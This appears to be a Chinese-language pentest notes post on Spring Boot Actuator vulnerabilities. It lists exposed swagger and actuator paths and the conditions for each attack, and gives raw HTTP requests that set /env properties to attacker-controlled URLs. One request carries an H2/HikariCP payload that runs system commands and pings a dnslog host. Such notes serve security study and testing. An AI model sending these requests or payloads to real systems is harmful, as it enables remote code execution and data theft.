spring 漏洞合集 上

Spring Boot Actuator 相关漏洞

主要参考文章了https://github.com/LandGrey/SpringBootVulExploit 这篇文章，重新梳理了文章内容并补充了一些新的内容，公众号不能引入外链，这里记录一下利用条件，具体利用方法访问这篇文章查看

利用条件是目标开启了 springboot 的 Actuator 的相关接口

• Spring Boot < 1.5 默认未授权访问所有端点
• Spring Boot >= 1.5 默认只允许访问/health 和/info 端点，但是此安全性通常被应用程序开发人员禁用

Actuator 信息泄漏问题

主要是 swagger 的相关路由，可能泄漏所有的接口及接口参数。

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

主要是actuator的相关接口

其中对寻找漏洞比较重要的接口有：

• /env、/actuator/env

GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息；当程序员的属性名命名不规范，例如 password 写成 psasword、pwd 时，会泄露密码明文；

同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，间接触发相关 RCE 漏洞；同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。

• /refresh、/actuator/refresh

POST 请求 /env 接口设置属性后，可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。

• /restart、/actuator/restart

暴露出此接口的情况较少；可以配合 POST 请求 /env 接口设置属性后，再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。

• /jolokia、/actuator/jolokia

可以通过 /jolokia/list 接口寻找可以利用的 MBean，间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

• /trace、/actuator/httptrace

一些 http 请求包访问跟踪信息，有可能在其中发现内网应用系统的一些请求信息详情；以及有效用户或管理员的 cookie、jwt token 等信息。

「方法一」

「利用条件」

• 存在/heapdump

「利用方法」

使用 MAT 直接内存读取，具体可参考 https://landgrey.me/blog/16/

「方法二」

「利用条件」

• 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
• 可以 POST 请求目标网站的 /refresh 接口刷新配置
• 目标可以请求攻击者的服务器（请求可出外网）

「利用方法」

spring.cloud.bootstrap.location 方法（「同时适用于」明文数据中有特殊 url 字符的情况）

eureka.client.serviceUrl.defaultZone 方法（「不适用于」明文数据中有特殊 url 字符的情况）

「方法三」

「利用条件」

• 可以 GET 请求目标网站的 /env
• 可以 POST 请求目标网站的 /env
• 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
• 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
• 目标可以请求攻击者的服务器（请求可出外网）

「方法四」

「利用条件」

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）

Actuator env+refresh 造成的命令执行

❝

这部分漏洞利用的大前提条件是存在/env接口和/refresh接口

❞

「影响范围」

• Spring Boot <= 1.4
• Spring Boot 1.5.x （Dalston 版本）
• Spring cloud 版本范围：Spring cloud < 1.3.0.RELEASE

「组件要求」 spring-cloud-starter && spring-boot-starter

「利用条件」

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
• 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
• 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

「验证方式」

验证漏洞是否存在直接使用 dnslog 地址，有 dnslog 请求即可。

步骤一 设置属性

POST /env HTTP/1.1
Host: localhost:61234
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Connection: close

spring.cloud.bootstrap.location=http://springenv.xxxx/yaml-payload.yml

步骤二 刷新配置

POST /refresh HTTP/1.1
Host: localhost:61234
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

步骤三 查看 dnslog 有请求

「利用条件」

• Eureka-Client <1.8.7（多见于 Spring Cloud Netflix）

「漏洞验证」

验证漏洞是否存在与上一个漏洞类似，直接使用 dnslog 地址，有 dnslog 请求即可。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

eureka.client.serviceUrl.defaultZone=http://x.x.x.x/x

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

「利用条件」

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
• 目标环境中存在 mysql-connector-java 依赖
• 目标可以请求攻击者的服务器（请求可出外网）

「检测方式」

验证方式同上 dnslog 检测即可。

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Actuator env+restart 造成的命令执行

❝

这部分漏洞利用的大前提条件是存在/env接口和/restart接口「restart 可能造成服务重启失败而挂掉」

❞

❝

Spring Boot 2.x 默认使用的 HikariCP 数据库连接池提供了一个可以 RCE 的变量。这个变量就是spring.datasource.hikari.connection-test-query。这个变量与 HikariCP 中的connectionTestQuery配置相匹配。根据文档，此配置定义的是在从池中给出一个连接之前被执行的 query，它的作用是验证数据库连接是否处于活动状态。简言之，无论何时一个恶意的数据库连接被建立时，spring.datasource.hikari.connection-test-query的值将会被作为一个 SQL 语句执行。然后利用 SQL 语句中的用户自定义函数，进行 RCE。

❞

「利用条件」

• env可以设置属性
• restart接口可以重启

「影响范围」

• Spring Boot 2.x

「利用方法」

步骤一 env 设置属性

POST /actuator/env HTTP/1.1
Host: xxxx
Connection: close
Content-Type: application/json
Content-Length: 359

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('ping springtest.xxxx');"}

查看 env 发现添加成功

步骤二 重启服务 Content-Type: application/json

POST /actuator/restart HTTP/1.1
Host: xxxx
Connection: close
Content-Type: application/json
Content-Length: 0

步骤三 查看 dnslog

二、logback JNDI RCE

「利用条件」

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /restart 接口重启应用
• 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过
• ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），「否则 restart 会导致程序异常退出」
• ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件，会导致程序异常退出
• ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口，否则会导致程序异常退出

「利用条件」

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /restart 接口重启应用
• ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
• ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件，会导致程序异常退出
• ⚠️ 环境中需要存在 groovy 依赖，否则会导致程序异常退出

「利用条件」

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /restart 接口重启应用
• ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
• ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件，会导致程序异常退出
• ⚠️ 环境中需要存在 groovy 依赖，否则会导致程序异常退出

五、spring.datasource.data h2 database RCE

「利用条件」

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /restart 接口重启应用
• 环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖
• ⚠️ 目标可以请求攻击者的 HTTP 服务器（请求可出外网），否则 restart 会导致程序异常退出
• ⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件，会导致程序异常退出

Actuator 其他组件接口造成的命令执行

「利用条件」

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）
• 访问 /jolokia/list 接口，查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。
• 目标可以请求攻击者的 HTTP 服务器（请求可出外网）
• 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1(LDAP)，但相关环境可绕过

「利用条件」

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）
• 访问 /jolokia/list 接口，查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词
• 目标可以请求攻击者的服务器（请求可出外网）
• 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u141/7u131/8u121(RMI)，但相关环境可绕过

「利用条件」

• Spring Cloud Gateway < v3.1.1
• Spring Cloud Gateway < v3.0.7
• 需要存在以下接口/actuator/gateway/routes/和/actuator/gateway/refresh

「利用方法」

见 https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md